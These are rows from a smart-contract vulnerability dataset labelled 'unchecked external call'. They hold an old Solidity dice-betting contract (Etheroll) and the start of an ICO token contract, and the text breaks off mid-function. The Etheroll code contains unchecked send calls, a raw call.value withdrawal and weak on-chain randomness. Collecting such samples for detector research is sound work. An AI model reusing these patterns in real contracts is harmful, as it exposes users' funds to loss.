to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return """"; uint len = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract DSSafeAddSub { function safeToAdd(uint a, uint b) internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) internal returns (uint) { if (!safeToAdd(a, b)) throw; return a + b; } function safeToSubtract(uint a, uint b) internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) internal returns (uint) { if (!safeToSubtract(a, b)) throw; return a - b; } } contract Etheroll is usingOraclize, DSSafeAddSub { using strings for *; /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { if(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize > maxProfit || _betSize < minBet || _playerNumber < minNumber || _playerNumber > maxNumber) throw; _; } /* * checks game is currently active */ modifier gameIsActive { if(gamePaused == true) throw; _; } /* * checks payouts are currently active */ modifier payoutsAreActive { if(payoutsPaused == true) throw; _; } /* * checks only Oraclize address is calling */ modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } /* * checks only owner address is calling */ modifier onlyOwner { if (msg.sender != owner) throw; _; } /* * checks only treasury address is calling */ modifier onlyTreasury { if (msg.sender != treasury) throw; _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; int public totalBets; uint public maxPendingPayouts; uint public costToCallOraclizeInWei; uint public totalWeiWon; uint public totalWeiWagered; /* * player vars */ mapping (bytes32 => address) playerAddress; mapping (bytes32 => address) playerTempAddress; mapping (bytes32 => bytes32) playerBetId; mapping (bytes32 => uint) playerBetValue; mapping (bytes32 => uint) playerTempBetValue; mapping (bytes32 => uint) playerRandomResult; mapping (bytes32 => uint) playerDieResult; mapping (bytes32 => uint) playerNumber; mapping (address => uint) playerPendingWithdrawals; mapping (bytes32 => uint) playerProfit; mapping (bytes32 => uint) playerTempReward; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed ResultSerialNumber, bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status, bytes Proof); /* log manual refunds */ event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); /* * init */ function Etheroll() { owner = msg.sender; treasury = msg.sender; oraclize_setNetwork(networkID_auto); /* use TLSNotary for oraclize call */ oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 ether) */ ownerSetMinBet(100000000000000000); /* init gas for oraclize */ gasForOraclize = 250000; } /* * public function * player submit bet * only if game is active & bet is valid can query oraclize and set player vars */ function playerRollDice(uint rollUnder) public payable gameIsActive betIsValid(msg.value, rollUnder) { /* safely update contract balance to account for cost to call oraclize*/ //todo - update in live contract contractBalance = safeSub(contractBalance, oraclize_getPrice(""URL"", 235000)); /* total number of bets */ //todo - update in live contract totalBets += 1; /* total wagered */ //todo - update in live contract totalWeiWagered += msg.value; /* * assign partially encrypted query to oraclize * only the apiKey is encrypted * integer query is in plain text */ bytes32 rngId = oraclize_query(""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\""serialNumber\"",\""data\""]', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BG0h2Eq52kQGHpizBkhqFa5eOiyQYblrxW86+7PvZ+aoyZAnNn10qTPEdl0859NmNCR4T156AnmbNiQVzgek+5hBod7JK1JBDxyWbWQzBlZnRsOMJbVPWvwpy92sc3z62xepI8Dp/pHnYOR/aER+Z21A9C+vxAE=},\""n\"":1,\""min\"":1,\""max\"":100,\""replacement\"":true,\""base\"":10${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", gasForOraclize); /* map bet id to this oraclize query */ playerBetId[rngId] = rngId; /* map player lucky number to this oraclize query */ playerNumber[rngId] = rollUnder; /* map value of wager to this oraclize query */ playerBetValue[rngId] = msg.value; /* map player address to this oraclize query */ playerAddress[rngId] = msg.sender; /* safely map player profit to this oraclize query */ playerProfit[rngId] = ((((msg.value * (100-(safeSub(rollUnder,1)))) / (safeSub(rollUnder,1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value; /* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */ maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[rngId]); /* check contract can payout on win */ if(maxPendingPayouts >= contractBalance) throw; /* provides accurate numbers for web3 and allows for manual refunds in case of no oraclize __callback */ LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); } /* * semi-public function - only oraclize can call */ /*TLSNotary for oraclize call */ function __callback(bytes32 myid, string result, bytes proof) public onlyOraclize payoutsAreActive { /* player address mapped to query id does not exist */ if (playerAddress[myid]==0x0) throw; /* total number of bets */ //todo - update in live contract //totalBets += 1; /* total wagered */ //todo - update in live contract //totalWeiWagered += playerBetValue[myid]; /* keep oraclize honest by retrieving the serialNumber from random.org result */ var sl_result = result.toSlice(); sl_result.beyond(""["".toSlice()).until(""]"".toSlice()); uint serialNumberOfResult = parseInt(sl_result.split(', '.toSlice()).toString()); /* map result to player */ playerRandomResult[myid] = parseInt(sl_result.beyond(""["".toSlice()).until(""]"".toSlice()).toString()); /* produce integer bounded to 1-100 inclusive * via sha3 result from random.org and proof (IPFS address of TLSNotary proof) */ playerDieResult[myid] = uint(sha3(playerRandomResult[myid], proof)) % 100 + 1; /* get the playerAddress for this query id */ playerTempAddress[myid] = playerAddress[myid]; /* delete playerAddress for this query id */ delete playerAddress[myid]; /* map the playerProfit for this query id */ playerTempReward[myid] = playerProfit[myid]; /* set playerProfit for this query id to 0 */ playerProfit[myid] = 0; /* safely reduce maxPendingPayouts liability */ maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[myid]); /* map the playerBetValue for this query id */ playerTempBetValue[myid] = playerBetValue[myid]; /* set playerBetValue for this query id to 0 */ playerBetValue[myid] = 0; /* * refund * if result from oraclize is 0 refund only the original bet value * if refund fails save refund value to playerPendingWithdrawals */ if(playerDieResult[myid]==0){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 3, proof); /* * send refund - external call to an untrusted contract * if send fails map refund value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempBetValue[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 4, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempBetValue[myid]); } return; } /* * pay winner * update contract balance to calculate new max bet * send reward * if send of reward fails save value to playerPendingWithdrawals */ if(playerDieResult[myid] < playerNumber[myid]){ /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerTempReward[myid]); /* update total wei won */ totalWeiWon = safeAdd(totalWeiWon, playerTempReward[myid]); /* safely calculate payout via profit plus original wager */ playerTempReward[myid] = safeAdd(playerTempReward[myid], playerTempBetValue[myid]); LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 1, proof); /* update maximum profit */ setMaxProfit(); /* * send win - external call to an untrusted contract * if send fails map reward value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempReward[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 2, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempReward[myid]); } return; } /* * no win * send 1 wei to a losing bet * update contract balance to calculate new max bet */ if(playerDieResult[myid] >= playerNumber[myid]){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 0, proof); /* * safe adjust contractBalance * setMaxProfit * send 1 wei to losing bet */ contractBalance = safeAdd(contractBalance, (playerTempBetValue[myid]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 wei - external call to an untrusted contract */ if(!playerTempAddress[myid].send(1)){ /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], 1); } return; } } /* * public function * in case of a failed refund or win send */ function playerWithdrawPendingTransactions() public payoutsAreActive returns (bool) { uint withdrawAmount = playerPendingWithdrawals[msg.sender]; playerPendingWithdrawals[msg.sender] = 0; /* external call to untrusted contract */ if (msg.sender.call.value(withdrawAmount)()) { return true; } else { /* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */ /* player can try to withdraw again later */ playerPendingWithdrawals[msg.sender] = withdrawAmount; return false; } } /* check for pending withdrawals */ function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) { return playerPendingWithdrawals[addressToCheck]; } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* * owner/treasury address only functions */ function () payable onlyTreasury { /* safely update contract balance */ contractBalance = safeAdd(contractBalance, msg.value); /* update the maximum profit */ setMaxProfit(); } /* set gas for oraclize query */ function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public onlyOwner { gasForOraclize = newSafeGasToOraclize; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInWei) public onlyOwner { contractBalance = newContractBalanceInWei; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ if(newMaxProfitAsPercent > 10000) throw; maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer ether */ function ownerTransferEther(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); if(!sendTo.send(amount)) throw; LogOwnerTransfer(sendTo, amount); } /* only owner address can do manual refund * used only if bet placed + oraclize failed to __callback * filter LogBet by address and/or playerBetId: * LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); * check the following logs do not exist for playerBetId and/or playerAddress[rngId] before refunding: * LogResult or LogRefund * if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions */ function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public onlyOwner { /* safely reduce pendingPayouts by playerProfit[rngId] */ maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit); /* send refund */ if(!sendTo.send(originalPlayerBetValue)) throw; /* log refunds */ LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can suicide - emergency */ function ownerkill() public onlyOwner { suicide(owner); } }",./Dataset/unchecked external call (UC),7,7 0x018595b9622c574abc59eb0723b1c712c028ea5f_AidaToken.sol,"// AID tokensale smart contract. // Developed by Phenom.Team <[email protected]> pragma solidity ^ 0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 * @dev Standart ERC20 token interface */ contract ERC20 { uint256 public totalSupply = 0; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function balanceOf(address _owner) public constant returns(uint256); function transfer(address _to, uint256 _value) public returns(bool); function transferFrom(address _from, address _to, uint256 _value) public returns(bool); function approve(address _spender, uint256 _value) public returns(bool); function allowance(address _owner, address _spender) public constant returns(uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title AidaICO contract - takes funds from users and issues tokens * @dev AidaICO - it's the first ever contract for ICO which allows users to * return their investments. */ contract AidaICO { // AID - Aida token contract AidaToken public AID = new AidaToken(this); using SafeMath for uint256; // Token price parameters // These parameters can be changed only by oracle of contract uint256 public Rate_Eth = 920; // Rate USD per ETH uint256 public Tokens_Per_Dollar = 4; // Aida token per dollar uint256 public Token_Price = Tokens_Per_Dollar.mul(Rate_Eth); // Aida token per ETH uint256 constant bountyPart = 10; // 1% of TotalSupply for BountyFund uint256 constant partnersPart = 30; //3% f TotalSupply for PartnersFund uint256 constant teamPart = 200; //20% of TotalSupply for TeamFund uint256 constant icoAndPOfPart = 760; // 76% of TotalSupply for PublicICO and PrivateOffer bool public returnPeriodExpired = false; uint256 finishTime = 0; // Output ethereum addresses address public Company; address public BountyFund; address public PartnersFund; address public TeamFund; address public Manager; // Manager controls contract address public Controller_Address1; // First address that is used to buy tokens for other cryptos address public Controller_Address2; // Second address that is used to buy tokens for other cryptos address public Controller_Address3; // Third address that is used to buy tokens for other cryptos address public Oracle; // Oracle address address public RefundManager; // Refund manager address // Possible ICO statuses enum StatusICO { Created, PreIcoStarted, PreIcoPaused, PreIcoFinished, IcoStarted, IcoPaused, IcoFinished } StatusICO statusICO = StatusICO.Created; // Mappings mapping(address => uint256) public ethPreIco; // Mapping for remembering eth of investors who paid at PreICO mapping(address => uint256) public ethIco; // Mapping for remembering eth of investors who paid at ICO mapping(address => bool) public used; // Users can return their funds one time mapping(address => uint256) public tokensPreIco; // Mapping for remembering tokens of investors who paid at preICO in ether mapping(address => uint256) public tokensIco; // Mapping for remembering tokens of investors who paid at ICO in ethre mapping(address => uint256) public tokensPreIcoInOtherCrypto; // Mapping for remembering tokens of investors who paid at preICO in other crypto currencies mapping(address => uint256) public tokensIcoInOtherCrypto; // Mapping for remembering tokens of investors who paid at ICO in other crypto currencies // Events Log event LogStartPreICO(); event LogPausePreICO(); event LogFinishPreICO(); event LogStartICO(); event LogPauseICO(); event LogFinishICO(address bountyFund, address partnersFund, address teamFund); event LogBuyForInvestor(address investor, uint256 aidValue, string txHash); event LogReturnEth(address investor, uint256 eth); event LogReturnOtherCrypto(address investor, string logString); // Modifiers // Allows execution by the refund manager only modifier refundManagerOnly { require(msg.sender == RefundManager); _; } // Allows execution by the oracle only modifier oracleOnly { require(msg.sender == Oracle); _; } // Allows execution by the contract manager only modifier managerOnly { require(msg.sender == Manager); _; } // Allows execution by the one of controllers only modifier controllersOnly { require((msg.sender == Controller_Address1) || (msg.sender == Controller_Address2) || (msg.sender == Controller_Address3)); _; } /** * @dev Contract constructor function */ function AidaICO( address _Company, address _BountyFund, address _PartnersFund, address _TeamFund, address _Manager, address _Controller_Address1, address _Controller_Address2, address _Controller_Address3, address _Oracle, address _RefundManager ) public { Company = _Company; BountyFund = _BountyFund; PartnersFund = _PartnersFund; TeamFund = _TeamFund; Manager = _Manager; Controller_Address1 = _Controller_Address1; Controller_Address2 = _Controller_Address2; Controller_Address3 = _Controller_Address3; Oracle = _Oracle; RefundManager = _RefundManager; } /** * @dev Set rate of ETH and update token price * @param _RateEth current ETH rate */ function setRate(uint256 _RateEth) external oracleOnly { Rate_Eth = _RateEth; Token_Price = Tokens_Per_Dollar.mul(Rate_Eth); } /** * @dev Start PreIco * Set ICO status to PreIcoStarted */ function startPreIco() external managerOnly { require(statusICO == StatusICO.Created || statusICO == StatusICO.PreIcoPaused); statusICO = StatusICO.PreIcoStarted; LogStartPreICO(); } /** * @dev Pause PreIco * Set Ico status to PreIcoPaused */ function pausePreIco() external managerOnly { require(statusICO == StatusICO.PreIcoStarted); statusICO = StatusICO.PreIcoPaused; LogPausePreICO(); } /** * @dev Finish PreIco * Set Ico status to PreIcoFinished */ function finishPreIco() external managerOnly { require(statusICO == StatusICO.PreIcoStarted || statusICO == StatusICO.PreIcoPaused); statusICO = StatusICO.PreIcoFinished; LogFinishPreICO(); } /** * @dev Start ICO * Set ICO status to IcoStarted */ function startIco() external managerOnly { require(statusICO == StatusICO.PreIcoFinished || statusICO == StatusICO.IcoPaused); statusICO = StatusICO.IcoStarted; LogStartICO(); } /** * @dev Pause Ico * Set Ico status to IcoPaused */ function pauseIco() external managerOnly { require(statusICO == StatusICO.IcoStarted); statusICO = StatusICO.IcoPaused; LogPauseICO(); } /** * @dev Finish ICO and emit tokens for bounty company, partners and team */ function finishIco() external managerOnly { require(statusICO == StatusICO.IcoStarted || statusICO == StatusICO.IcoPaused); uint256 alreadyMinted = AID.totalSupply(); // = PublicICO uint256 totalAmount = alreadyMinted.mul(1000).div(icoAndPOfPart); AID.mintTokens(BountyFund, bountyPart.mul(totalAmount).div(1000)); AID.mintTokens(PartnersFund, partnersPart.mul(totalAmount).div(1000)); AID.mintTokens(TeamFund, teamPart.mul(totalAmount).div(1000)); statusICO = StatusICO.IcoFinished; finishTime = now; LogFinishICO(BountyFund, PartnersFund, TeamFund); } /** * @dev Unfreeze tokens(enable token transfers) */ function enableTokensTransfer() external managerOnly { AID.defrostTokens(); } /** * @dev Freeze tokens(disable token transfers) */ function disableTokensTransfer() external managerOnly { require((statusICO != StatusICO.IcoFinished) || (now <= finishTime + 21 days)); AID.frostTokens(); } /** * @dev Fallback function calls createTokensForEth() function to create tokens * when investor sends ETH to address of ICO contract */ function() external payable { require(statusICO == StatusICO.PreIcoStarted || statusICO == StatusICO.IcoStarted); createTokensForEth(msg.sender, msg.value.mul(Token_Price)); rememberEther(msg.value, msg.sender); } /** * @dev Store how many eth were invested by investor * @param _value amount of invested ether in Wei * @param _investor address of investor */ function rememberEther(uint256 _value, address _investor) internal { if (statusICO == StatusICO.PreIcoStarted) { ethPreIco[_investor] = ethPreIco[_investor].add(_value); } if (statusICO == StatusICO.IcoStarted) { ethIco[_investor] = ethIco[_investor].add(_value); } } /** * @dev Writes how many tokens investor received(for payments in ETH) * @param _value amount of tokens * @param _investor address of investor */ function rememberTokensEth(uint256 _value, address _investor) internal { if (statusICO == StatusICO.PreIcoStarted) { tokensPreIco[_investor] = tokensPreIco[_investor].add(_value); } if (statusICO == StatusICO.IcoStarted) { tokensIco[_investor] = tokensIco[_investor].add(_value); } } /** * @dev Writes how many tokens investor received(for payments in other cryptocurrencies) * @param _value amount of tokens * @param _investor address of investor */ function rememberTokensOtherCrypto(uint256 _value, address _investor) internal { if (statusICO == StatusICO.PreIcoStarted) { tokensPreIcoInOtherCrypto[_investor] = tokensPreIcoInOtherCrypto[_investor].add(_value); } if (statusICO == StatusICO.IcoStarted) { tokensIcoInOtherCrypto[_investor] = tokensIcoInOtherCrypto[_investor].add(_value); } } /** * @dev Issues tokens for users who made purchases in other cryptocurrencies * @param _investor address the tokens will be issued to * @param _txHash transaction hash of investor's payment * @param _aidValue number of Aida tokens */ function buyForInvestor( address _investor, uint256 _aidValue, string _txHash ) external controllersOnly { require(statusICO == StatusICO.PreIcoStarted || statusICO == StatusICO.IcoStarted); createTokensForOtherCrypto(_investor, _aidValue); LogBuyForInvestor(_investor, _aidValue, _txHash); } /** * @dev Issue tokens for investors who paid in other cryptocurrencies * @param _investor address which the tokens will be issued to * @param _aidValue number of Aida tokens */ function createTokensForOtherCrypto(address _investor, uint256 _aidValue) internal { require(_aidValue > 0); uint256 bonus = getBonus(_aidValue); uint256 total = _aidValue.add(bonus); rememberTokensOtherCrypto(total, _investor); AID.mintTokens(_investor, total); } /** * @dev Issue tokens for investors who paid in ether * @param _investor address which the tokens will be issued to * @param _aidValue number of Aida tokens */ function createTokensForEth(address _investor, uint256 _aidValue) internal { require(_aidValue > 0); uint256 bonus = getBonus(_aidValue); uint256 total = _aidValue.add(bonus); rememberTokensEth(total, _investor); AID.mintTokens(_investor, total); } /** * @dev Calculates bonus if PreIco sales still not over * @param _value amount of tokens * @return bonus value */ function getBonus(uint256 _value) public constant returns(uint256) { uint256 bonus = 0; if (statusICO == StatusICO.PreIcoStarted) { bonus = _value.mul(15).div(100); } return bonus; } /** * @dev Enable returns of investments */ function startRefunds() external managerOnly { returnPeriodExpired = false; } /** * @dev Disable returns of investments */ function stopRefunds() external managerOnly { returnPeriodExpired = true; } /** * @dev Allows investors to return their investments(in ETH) * if preICO or ICO return duration is not over yet * and burns tokens */ function returnEther() public { require(!used[msg.sender]); require(!returnPeriodExpired); uint256 eth = 0; uint256 tokens = 0; if (statusICO == StatusICO.PreIcoStarted) { require(ethPreIco[msg.sender] > 0); eth = ethPreIco[msg.sender]; tokens = tokensPreIco[msg.sender]; ethPreIco[msg.sender] = 0; tokensPreIco[msg.sender] = 0; } if (statusICO == StatusICO.IcoStarted) { require(ethIco[msg.sender] > 0); eth = ethIco[msg.sender]; tokens = tokensIco[msg.sender]; ethIco[msg.sender] = 0; tokensIco[msg.sender] = 0; } used[msg.sender] = true; msg.sender.transfer(eth); AID.burnTokens(msg.sender, tokens); LogReturnEth(msg.sender, eth); } /** * @dev Burn tokens of investors who paid in other cryptocurrencies * if preICO or ICO return duration is not over yet * @param _investor address which tokens will be burnt * @param _logString string which contains payment information */ function returnOtherCrypto( address _investor, string _logString ) external refundManagerOnly { uint256 tokens = 0; require(!returnPeriodExpired); if (statusICO == StatusICO.PreIcoStarted) { tokens = tokensPreIcoInOtherCrypto[_investor]; tokensPreIcoInOtherCrypto[_investor] = 0; } if (statusICO == StatusICO.IcoStarted) { tokens = tokensIcoInOtherCrypto[_investor]; tokensIcoInOtherCrypto[_investor] = 0; } AID.burnTokens(_investor, tokens); 